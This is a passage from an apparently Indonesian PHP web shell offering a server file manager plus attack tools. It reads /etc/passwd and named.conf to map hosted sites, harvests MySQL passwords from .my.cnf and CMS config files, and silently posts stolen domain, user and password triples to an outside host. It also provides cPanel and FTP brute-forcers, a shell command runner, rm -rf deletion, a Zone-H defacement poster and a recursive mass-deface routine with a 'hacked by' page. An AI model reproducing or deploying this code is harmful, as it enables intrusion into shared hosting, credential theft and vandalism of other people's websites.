  3942. <tr bgcolor=green><td>DOMAINS</td><td>USERs</td></tr>";
  3943. foreach ($d0mains as $d0main) {
  3944. if (eregi("zone", $d0main)) {
  3945. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  3946. flush();
  3947. if (strlen(trim($domains[1][0])) > 2) {
  3948. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
  3949. echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
  3950. flush();
  3951. }
  3952. }
  3953. }
  3954. echo "</table>
  3955.  
  3956. <p align='center'>
  3957.  
  3958. </p>
  3959.  
  3960. ";
  3961. echo "<center>Done<br><br/>";
  3962. } else {
  3963. echo '<center>
  3964. <form method="POST">
  3965. <textarea name="passwd" style="width: 543px; height: 420px; background-color:transparent; font-family:Tahoma; font-size:8pt; ">';
  3966. flush();
  3967. $file = '/etc/passwd';
  3968. $read = @fopen($file, 'r');
  3969. if ($read) {
  3970. $body = @fread($read, @filesize($file));
  3971. echo "" . htmlentities($body) . "";
  3972. } elseif (!$read) {
  3973. $read = @show_source($file);
  3974. } elseif (!$read) {
  3975. $read = @highlight_file($file);
  3976. } elseif (!$read) {
  3977. for ($uid = 0;$uid < 1000;$uid++) {
  3978. $ara = posix_getpwuid($uid);
  3979. if (!empty($ara)) {
  3980. while (list($key, $val) = each($ara)) {
  3981. print "$val:";
  3982. }
  3983. print "
  3984. ";
  3985. }
  3986. }
  3987. }
  3988. flush();
  3989. echo '</textarea></br>
  3990. <p>&nbsp;</p><center>
  3991. <input name="m" size="80" value="Hajar" type="submit" style="width: 99; font-family:Tahoma; font-size:10pt;; text-transform:uppercase; height:23; background-color:#transparent"/></br>
  3992. </form>
  3993. ';
  3994. }
  3995.  
  3996. }
  3997. elseif($_GET['do'] == 'zoneh') {
  3998. if($_POST['submit']) {
  3999. $domain = explode("\r\n", $_POST['url']);
  4000. $nick = $_POST['nick'];
  4001. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  4002. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  4003. function zoneh($url,$nick) {
  4004. $ch = curl_init("http://www.zone-h.com/notify/single");
  4005. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  4006. curl_setopt($ch, CURLOPT_POST, true);
  4007. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  4008. return curl_exec($ch);
  4009. curl_close($ch);
  4010. }
  4011. foreach($domain as $url) {
  4012. $zoneh = zoneh($url,$nick);
  4013. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  4014. echo "$url -> <font color=lime>OK</font><br>";
  4015. } else {
  4016. echo "$url -> <font color=red>ERROR</font><br>";
  4017. }
  4018. }
  4019. } else {
  4020. echo "<center><form method='post'>
  4021. <font style='text-decoration: underline;'>Zone-H Poster :</font><br>
  4022. <u>Defacer</u>: <br>
  4023. <input type='text' name='nick' size='50' value='Jingklong'><br>
  4024. <u>Domains</u>: <br>
  4025. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  4026. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  4027. </form>";
  4028. }
  4029. echo "</center>";
  4030. }
  4031. elseif($_GET['do'] == 'upload') {
  4032. echo "<center>";
  4033. if($_POST['upload']) {
  4034. if($_POST['tipe_upload'] == 'biasa') {
  4035. if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  4036. $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  4037. } else {
  4038. $act = "<font color=red>failed to upload file</font>";
  4039. }
  4040. } else {
  4041. $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  4042. $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  4043. if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  4044. if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  4045. $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  4046. } else {
  4047. $act = "<font color=red>failed to upload file</font>";
  4048. }
  4049. } else {
  4050. $act = "<font color=red>failed to upload file</font>";
  4051. }
  4052. }
  4053. }
  4054. echo "Upload File:
  4055. <form method='post' enctype='multipart/form-data'>
  4056. <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  4057. <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  4058. <input type='file' name='ix_file'>
  4059. <input type='submit' value='upload' name='upload'>
  4060. </form>";
  4061. echo $act;
  4062. echo "</center>";
  4063. }
  4064. elseif($_GET['do'] == 'brut') {
  4065. echo "<center>";
  4066. echo "<ul>";
  4067. echo "<li> <a href='?dir=$dir&do=cpc'>cPanel Bruteforce</a> </li>";
  4068. echo "<li> <a href='?dir=$dir&do=ftpb'>FTP Bruteforce</a> </li>";
  4069. echo "<li> <a href='?dir=$dir&do=hunt'>.my.cnf Finder</a> </li>";
  4070. echo "</ul>";
  4071. echo "</center>";
  4072. }
  4073. elseif($_GET['do'] == 'hunt') {
  4074. echo "<center>";
  4075. echo "<ul>";
  4076. echo "<li> <a href='?dir=$dir&do=cpc'>cPanel Bruteforce</a> </li>";
  4077. echo "<li> <a href='?dir=$dir&do=ftpb'>FTP Bruteforce</a> </li>";
  4078. echo "<li> <a href='?dir=$dir&do=hunt'>.my.cnf Finder</a> </li>";
  4079. echo "</ul>";
  4080. echo "</center>";
  4081.  
  4082. echo "<center>";
  4083. $d0mains = @file('/etc/named.conf');
  4084. $domains = scandir("/var/named");
  4085.  
  4086. if ($domains or $d0mains)
  4087. {
  4088. $domains = scandir("/var/named");
  4089. if($domains) {
  4090. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  4091. $count=1;
  4092. $dc = 0;
  4093. $list = scandir("/var/named");
  4094. foreach($list as $domain){
  4095. if(strpos($domain,".db")){
  4096. $domain = str_replace('.db','',$domain);
  4097. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  4098. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  4099. $path = getcwd();
  4100.  
  4101. if (is_readable($dirz)) {
  4102. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  4103. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  4104. $password=entre2v2($p,'password="','"');
  4105. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  4106. $dc++;
  4107. $success="http://".$domain."|".$owner['name']."|".$password."\n";
  4108. $ch = curl_init();
  4109. curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php");
  4110. curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
  4111. curl_setopt($ch, CURLOPT_POST, 1);
  4112. curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success));
  4113. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  4114. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  4115. curl_setopt($ch, CURLOPT_HEADER, 1);
  4116. $buffer = curl_exec($ch);
  4117. }
  4118.  
  4119. }
  4120. }
  4121. echo '</table>';
  4122. $total = $dc;
  4123. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  4124. echo '</center>';
  4125. }else{
  4126. $d0mains = @file('/etc/named.conf');
  4127. if($d0mains) {
  4128. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  4129. $count=1;
  4130. $dc = 0;
  4131. $mck = array();
  4132. foreach($d0mains as $d0main){
  4133. if(@eregi('zone',$d0main)){
  4134. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  4135. flush();
  4136. if(strlen(trim($domain[1][0])) >2){
  4137. $mck[] = $domain[1][0];
  4138. }
  4139. }
  4140. }
  4141. $mck = array_unique($mck);
  4142. $usr = array();
  4143. $dmn = array();
  4144. foreach($mck as $o) {
  4145. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  4146. $usr[] = $infos['name'];
  4147. $dmn[] = $o;
  4148. }
  4149. array_multisort($usr,$dmn);
  4150. $dt = file('/etc/passwd');
  4151. $passwd = array();
  4152. foreach($dt as $d) {
  4153. $r = explode(':',$d);
  4154. if(strpos($r[5],'home')) {
  4155. $passwd[$r[0]] = $r[5];
  4156. }
  4157. }
  4158. $l=0;
  4159. $j=1;
  4160. foreach($usr as $r) {
  4161. $dirz = '/home/'.$r.'/.my.cnf';
  4162. $path = getcwd();
  4163. if (is_readable($dirz)) {
  4164. copy($dirz, ''.$path.'/'.$r.'.txt');
  4165. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  4166. $password=entre2v2($p,'password="','"');
  4167. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  4168. $dc++;
  4169. flush();
  4170. $l=$l?0:1;
  4171. $j++;
  4172. }
  4173. }
  4174. }
  4175. echo '</table>';
  4176. $total = $dc;
  4177. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  4178. echo '</center>';
  4179.  
  4180. }
  4181. }else{
  4182. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  4183. }
  4184.  
  4185. echo "</body></html>";
  4186. }
  4187. elseif($_GET['do'] == 'ftpb') {
  4188. echo "<center>";
  4189. echo "<ul>";
  4190. echo "<li> <a href='?dir=$dir&do=cpc'>cPanel Bruteforce</a> </li>";
  4191. echo "<li> <a href='?dir=$dir&do=ftpb'>FTP Bruteforce</a> </li>";
  4192. echo "<li> <a href='?dir=$dir&do=hunt'>.my.cnf Finder</a> </li>";
  4193. echo "</ul>";
  4194. echo "</center>";
  4195. echo "
  4196. <p align='center' dir='ltr'><font face='Tahoma' size='4'>[#] FTP Brute Force [#]</font></p>
  4197. <form method='POST'>
  4198. <center>
  4199. <p dir='ltr'>
  4200. <textarea style='width: 450px; height: 150px;' cols='30' rows='10' name='username' placeholder='username List'></textarea>
  4201. <textarea style='width: 450px; height: 150px;' cols='30' rows='10' name='password' placeholder='Password List'></textarea></p>
  4202. <input type='text' name='ip' value='127.0.0.1'>
  4203. <input type='submit' value='BruteFTP' name='start'><br>
  4204. <p><font face='Verdana' size='1'>[+] ReSulT [+]</font></p>
  4205. </form>";
  4206. @set_time_limit(0);
  4207. $ip = $_POST['ip'];
  4208. $username = explode("\n",$_POST['username']);
  4209. $password = explode("\n",$_POST['password']);
  4210.  
  4211. if($_POST['start']) {
  4212. function brute($connect,$ip,$user,$pass)
  4213. {
  4214. $connect = ftp_connect($ip) or die("Error , Maybe you were Banned From Server");
  4215. if(ftp_login($connect, $user, $pass)) {
  4216. echo "<p dir='ltr'><font face='Tahoma' size='2'>Cracked :
  4217. <font color='#008000'>$user</font>:<font color='#008000'>$pass</font>@<font color='#008000'>$ip</font></font></p>"; }
  4218. }
  4219.  
  4220. foreach($username as $user) {
  4221. foreach($password as $pass) {
  4222. brute($connect,$ip,$user,$pass);
  4223. } }
  4224. }
  4225. echo "<p><font face='Verdana' size='1'>
  4226. +------------------------------------------------------------------------------------------------------------+</font></p>
  4227. </form>";
  4228.  
  4229. }
  4230. elseif($_GET['do'] == 'cpc') {
  4231. echo "<center>";
  4232. echo "<ul>";
  4233. echo "<li> <a href='?dir=$dir&do=cpc'>cPanel Bruteforce</a> </li>";
  4234. echo "<li> <a href='?dir=$dir&do=ftpb'>FTP Bruteforce</a> </li>";
  4235. echo "<li> <a href='?dir=$dir&do=hunt'>.my.cnf Finder</a> </li>";
  4236. echo "</ul>";
  4237. echo "</center>";
  4238. if($_POST['crack']) {
  4239. $usercp = explode("\r\n", $_POST['user_cp']);
  4240. $passcp = explode("\r\n", $_POST['pass_cp']);
  4241. $i = 0;
  4242. foreach($usercp as $ucp) {
  4243. foreach($passcp as $pcp) {
  4244. if(@mysql_connect('localhost', $ucp, $pcp)) {
  4245. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  4246. } else {
  4247. $_SESSION[$ucp] = "1";
  4248. $_SESSION[$pcp] = "1";
  4249. if($ucp == '' || $pcp == '') {
  4250.  
  4251. } else {
  4252. $i++;
  4253. if(function_exists('posix_getpwuid')) {
  4254. $domain_cp = file_get_contents("/etc/named.conf");
  4255. if($domain_cp == '') {
  4256. $dom = "<font color=red>gabisa ambil nama domain nya</font>";
  4257. } else {
  4258. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  4259. foreach($domains_cp[1] as $dj) {
  4260. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  4261. $user_cp_url = $user_cp_url['name'];
  4262. if($user_cp_url == $ucp) {
  4263. $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
  4264. break;
  4265. }
  4266. }
  4267. }
  4268. } else {
  4269. $dom = "<font color=red>function is Disable by system</font>";
  4270. }
  4271. echo "<font color=lime>$ucp</font> | <font color=lime>$pcp</font> | http://$dom:2082<br>";
  4272. }
  4273. }
  4274. }
  4275. }
  4276. }
  4277. if($i == 0) {
  4278. } else {
  4279. echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
  4280. }
  4281. } else {
  4282. echo "<center>
  4283. <p align='center' dir='ltr'><font face='Tahoma' size='4'>[#] cPanel Brute Force [#]</font></p>
  4284. <form method='post'>
  4285. <textarea style='width: 450px; height: 150px;' name='user_cp' placeholder='User List'>";
  4286. $_usercp = fopen("/etc/passwd","r");
  4287. while($getu = fgets($_usercp)) {
  4288. if($getu == '' || !$_usercp) {
  4289. echo "<font color=red>Can't read /etc/passwd</font>";
  4290. } else {
  4291. preg_match_all("/(.*?):x:/", $getu, $u);
  4292. foreach($u[1] as $user_cp) {
  4293. if(is_dir("/home/$user_cp/public_html")) {
  4294. echo "$user_cp\n";
  4295. }
  4296. }
  4297. }
  4298. }
  4299. echo "</textarea>
  4300. <textarea style='width: 450px; height: 150px;' name='pass_cp' placeholder='Password list'>";
  4301. function cp_pass($dir) {
  4302. $pass = "";
  4303. $dira = scandir($dir);
  4304. foreach($dira as $dirb) {
  4305. if(!is_file("$dir/$dirb")) continue;
  4306. $ambil = file_get_contents("$dir/$dirb");
  4307. if(preg_match("/WordPress/", $ambil)) {
  4308. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  4309. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  4310. $pass .= ambilkata($ambil,"password = '","'")."\n";
  4311. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  4312. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  4313. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  4314. $pass .= ambilkata($ambil,'password = "','"')."\n";
  4315. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  4316. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  4317. } elseif(preg_match("/^[client]$/", $ambil)) {
  4318. preg_match("/password=(.*?)/", $ambil, $pass1);
  4319. if(preg_match('/"/', $pass1[1])) {
  4320. $pass1[1] = str_replace('"', "", $pass1[1]);
  4321. $pass .= $pass1[1]."\n";
  4322. } else {
  4323. $pass .= $pass1[1]."\n";
  4324. }
  4325. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  4326. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  4327. }
  4328. }
  4329. echo $pass;
  4330. }
  4331. $cp_pass = cp_pass($dir);
  4332. echo $cp_pass;
  4333. echo "</textarea><br>
  4334. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  4335. </form>
  4336. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  4337. }
  4338. }
  4339. elseif($_GET['do'] == 'cmd') {
  4340. echo "<form method='post'>
  4341. <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
  4342. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  4343. </form>";
  4344. if($_POST['do_cmd']) {
  4345. echo "<pre>".exe($_POST['cmd'])."</pre>";
  4346. }
  4347. }
  4348. elseif($_GET['do'] == 'mass_deface') {
  4349. function sabun_massal($dir,$namafile,$isi_script) {
  4350. if(is_writable($dir)) {
  4351. $dira = scandir($dir);
  4352. foreach($dira as $dirb) {
  4353. $dirc = "$dir/$dirb";
  4354. $lokasi = $dirc.'/'.$namafile;
  4355. if($dirb === '.') {
  4356. file_put_contents($lokasi, $isi_script);
  4357. } elseif($dirb === '..') {
  4358. file_put_contents($lokasi, $isi_script);
  4359. } else {
  4360. if(is_dir($dirc)) {
  4361. if(is_writable($dirc)) {
  4362. echo "[<font color=lime>DONE</font>] $lokasi<br>";
  4363. file_put_contents($lokasi, $isi_script);
  4364. $idx = sabun_massal($dirc,$namafile,$isi_script);
  4365. }
  4366. }
  4367. }
  4368. }
  4369. }
  4370. }
  4371. function sabun_biasa($dir,$namafile,$isi_script) {
  4372. if(is_writable($dir)) {
  4373. $dira = scandir($dir);
  4374. foreach($dira as $dirb) {
  4375. $dirc = "$dir/$dirb";
  4376. $lokasi = $dirc.'/'.$namafile;
  4377. if($dirb === '.') {
  4378. file_put_contents($lokasi, $isi_script);
  4379. } elseif($dirb === '..') {
  4380. file_put_contents($lokasi, $isi_script);
  4381. } else {
  4382. if(is_dir($dirc)) {
  4383. if(is_writable($dirc)) {
  4384. echo "<center><font color=red>DONE</font> -><font color=red>$dirb/$namafile</font></center>";
  4385. file_put_contents($lokasi, $isi_script);
  4386. }
  4387. }
  4388. }
  4389. }
  4390. }
  4391. }
  4392. function sabun_domen($dir,$namafile,$isi_script) {
  4393. if(is_writable($dir)) {
  4394. $dira = scandir($dir);
  4395. foreach($dira as $dirb) {
  4396. $dirc = "$dir/$dirb";
  4397. $lokasi = $dirc.'/'.$namafile;
  4398. if($dirb === '.') {
  4399. file_put_contents($lokasi, $isi_script);
  4400. } elseif($dirb === '..') {
  4401. file_put_contents($lokasi, $isi_script);
  4402. } else {
  4403. if(is_dir($dirc)) {
  4404. if(is_writable($dirc)) {
  4405. echo "<center><a href='http://$dirb/$namafile' target='_blank'><font color=red>http://$dirb/$namafile</font></a></center>";
  4406. file_put_contents($lokasi, $isi_script);
  4407. }
  4408. }
  4409. }
  4410. }
  4411. }
  4412. }
  4413. if($_POST['start']) {
  4414. if($_POST['tipe_sabun'] == 'mahal') {
  4415. echo "<div style='margin: 5px auto; padding: 5px'>";
  4416. sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  4417. echo "</div>";
  4418. } elseif($_POST['tipe_sabun'] == 'murah') {
  4419. echo "<div style='margin: 5px auto; padding: 5px'>";
  4420. sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  4421. echo "</div>";
  4422. }elseif($_POST['tipe_sabun'] == 'diskon') {
  4423. echo "<div style='margin: 5px auto; padding: 5px'>";
  4424. sabun_domen($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  4425. echo "</div>";
  4426. }
  4427. } else {
  4428. echo "<center>";
  4429. echo "<form method='post'>
  4430. <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  4431. <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<input type='radio' name='tipe_sabun' value='diskon'>domain<br>
  4432. <font style='text-decoration: underline;'>Folder:</font><br>
  4433. <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  4434. <font style='text-decoration: underline;'>Filename:</font><br>
  4435. <input type='text' name='d_file' value='asu.htm' style='width: 450px;' height='10'><br>
  4436. <font style='text-decoration: underline;'>Index File:</font><br>
  4437. <textarea name='script' style='width: 450px; height: 200px;'><style>
  4438. body {
  4439. background-repeat:no-repeat;
  4440. background-attachment:fixed;
  4441. background-image:url(https://scontent.xx.fbcdn.net/v/t1.0-9/16806977_1822047768055543_1379597830503128744_n.jpg?oh=359c6d0c3403665fd989433a9e817f29&oe=595F5C32);
  4442. background-size:cover;
  4443. }
  4444. </style>
  4445. <title>hacked by Jingklong</title>
  4446. <meta content='galo mhanx :(' name='description'/>
  4447. <meta content='hacked by Jingklong, bahari trouble maker' name='keywords'/>
  4448. <meta content='hacked by Jingklong, bahari trouble maker' name='Abstract'/>
  4449. <center>
  4450. <pre><strong>
  4451. <font size='5'><span style='color:red;'><br><br><br><br>
  4452.  
  4453. Aku bukan orang yang memegang hatimu, aku bukan yang ada dalam mimpimu, dan..
  4454. Aku bukan orang yang selalu di pikiranmu, aku bukan subjek status fbmu.
  4455. Bukan aku alasan mengapa kau tertawa dan mengapa kau menumpahkan air mata.
  4456.  
  4457. Aku bukan yang yang cari, aku bukan orang yang kau inginkan.
  4458. Sedih untuk mengatakan aku bukan tujuanmu, aku hanya sebuah persinggahan.. di tengah perjalananmu.
  4459. Aku hanya sekedar orang lain yang tidak sengaja kau temui.
  4460. Karena aku bukan orang yang kau cintai, aku bukan yang anda butuhkan.
  4461.  
  4462. Aku bukan pilihanmu.
  4463. ------------------
  4464. Jingklong
  4465.  
  4466. .gr33tz
  4467. $ <marquee style='width:390px;font-family:Courier;font-size:14px;color:red;'>Maniak k4Sur ~ Tanpa Bicara ~ Virusa w0rm ~ M2404 - Angel dot ID ~ Kefiex404 ~ ELRO-BN404 - Zombie-Root ~ Malaikat Galau - cTzEn - VinderError - KapalJetz666 | BAHARI TROUBLE MAKER - INDONESIAN DEFACER NEWBIE - INDONESIA DEFACER TERSAKITI</marquee> $
  4468. </strong></font></pre>
  4469. <iframe width='0%' height='0' src='http://www.smule.com/recording/flanella-kwk_riza-flanella-tiga-hari-yang-lalu-guitar/657107202_748590997' frameborder='0'></iframe></textarea><br>
  4470. <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  4471. </form></center>";
  4472. }
  4473. }
  4474. elseif($_GET['act'] == 'newfile') {
  4475. if($_POST['new_save_file']) {
  4476. $newfile = htmlspecialchars($_POST['newfile']);
  4477. $fopen = fopen($newfile, "a+");
  4478. if($fopen) {
  4479. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  4480. } else {
  4481. $act = "<font color=red>permission denied</font>";
  4482. }
  4483. }
  4484. echo $act;
  4485. echo "<form method='post'>
  4486. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  4487. <input type='submit' name='new_save_file' value='Submit'>
  4488. </form>";
  4489. } elseif($_GET['act'] == 'newfolder') {
  4490. if($_POST['new_save_folder']) {
  4491. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  4492. if(!mkdir($new_folder)) {
  4493. $act = "<font color=red>permission denied</font>";
  4494. } else {
  4495. $act = "<script>window.location='?dir=".$dir."';</script>";
  4496. }
  4497. }
  4498. echo $act;
  4499. echo "<form method='post'>
  4500. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  4501. <input type='submit' name='new_save_folder' value='Submit'>
  4502. </form>";
  4503. } elseif($_GET['act'] == 'rename_dir') {
  4504. if($_POST['dir_rename']) {
  4505. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  4506. if($dir_rename) {
  4507. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  4508. } else {
  4509. $act = "<font color=red>permission denied</font>";
  4510. }
  4511. echo "".$act."<br>";
  4512. }
  4513. echo "<form method='post'>
  4514. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  4515. <input type='submit' name='dir_rename' value='rename'>
  4516. </form>";
  4517. } elseif($_GET['act'] == 'delete_dir') {
  4518. if(is_dir($dir)) {
  4519. if(is_writable($dir)) {
  4520. @rmdir($dir);
  4521. @exe("rm -rf $dir");
  4522. @exe("rmdir /s /q $dir");
  4523. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  4524. } else {
  4525. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  4526. }
  4527. }
  4528. echo $act;
  4529. } elseif($_GET['act'] == 'view') {
  4530. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
  4531. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  4532. } elseif($_GET['act'] == 'edit') {
  4533. if($_POST['save']) {
  4534. $save = file_put_contents($_GET['file'], $_POST['src']);
  4535. if($save) {
  4536. $act = "<font color=lime>Saved!</font>";
  4537. } else {
  4538. $act = "<font color=red>permission denied</font>";
  4539. }
  4540. echo "".$act."<br>";
  4541. }
  4542. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
  4543. echo "<form method='post'>
  4544. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  4545. <input type='submit' value='Save' name='save' style='width: 500px;'>
  4546. </form>";
  4547. } elseif($_GET['act'] == 'rename') {
  4548. if($_POST['do_rename']) {
  4549. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  4550. if($rename) {
  4551. $act = "<script>window.location='?dir=".$dir."';</script>";
  4552. } else {
  4553. $act = "<font color=red>permission denied</font>";
  4554. }
  4555. echo "".$act."<br>";
  4556. }
  4557. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> <br>";
  4558. echo "<form method='post'>
  4559. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  4560. <input type='submit' name='do_rename' value='rename'>
  4561. </form>";
  4562. } elseif($_GET['act'] == 'delete') {
  4563. $delete = unlink($_GET['file']);
  4564. if($delete) {
  4565. $act = "<script>window.location='?dir=".$dir."';</script>";
  4566. } else {
  4567. $act = "<font color=red>permission denied</font>";
  4568. }
  4569. echo $act;
  4570. } else {
  4571. if(is_dir($dir) === true) {
  4572. if(!is_readable($dir)) {
  4573. echo "<font color=red>can't open directory. ( not readable )</font>";
  4574. } else {
  4575. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  4576. <tr>
  4577. <th class="th_home"><center>Name</center></th>
  4578. <th class="th_home"><center>Type</center></th>
  4579. <th class="th_home"><center>Size</center></th>
  4580. <th class="th_home"><center>Last Modified</center></th>
  4581. <th class="th_home"><center>Owner/Group</center></th>
  4582. <th class="th_home"><center>Permission</center></th>
  4583. <th class="th_home"><center>Action</center></th>
  4584. </tr>';
  4585. $scandir = scandir($dir);
  4586. foreach($scandir as $dirx) {
  4587. $dtype = filetype("$dir/$dirx");
  4588. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  4589. if(function_exists('posix_getpwuid')) {
  4590. $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  4591. $downer = $downer['name'];
  4592. } else {
  4593. //$downer = $uid;
  4594. $downer = fileowner("$dir/$dirx");
  4595. }
  4596. if(function_exists('posix_getgrgid')) {
  4597. $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  4598. $dgrp = $dgrp['name'];
  4599. } else {
  4600. $dgrp = filegroup("$dir/$dirx");
  4601. }
  4602. if(!is_dir("$dir/$dirx")) continue;
  4603. if($dirx === '..') {
  4604. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  4605. } elseif($dirx === '.') {
  4606. $href = "<a href='?dir=$dir'>$dirx</a>";
  4607. } else {
  4608. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  4609. }
  4610. if($dirx === '.' || $dirx === '..') {
  4611. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  4612. } else {
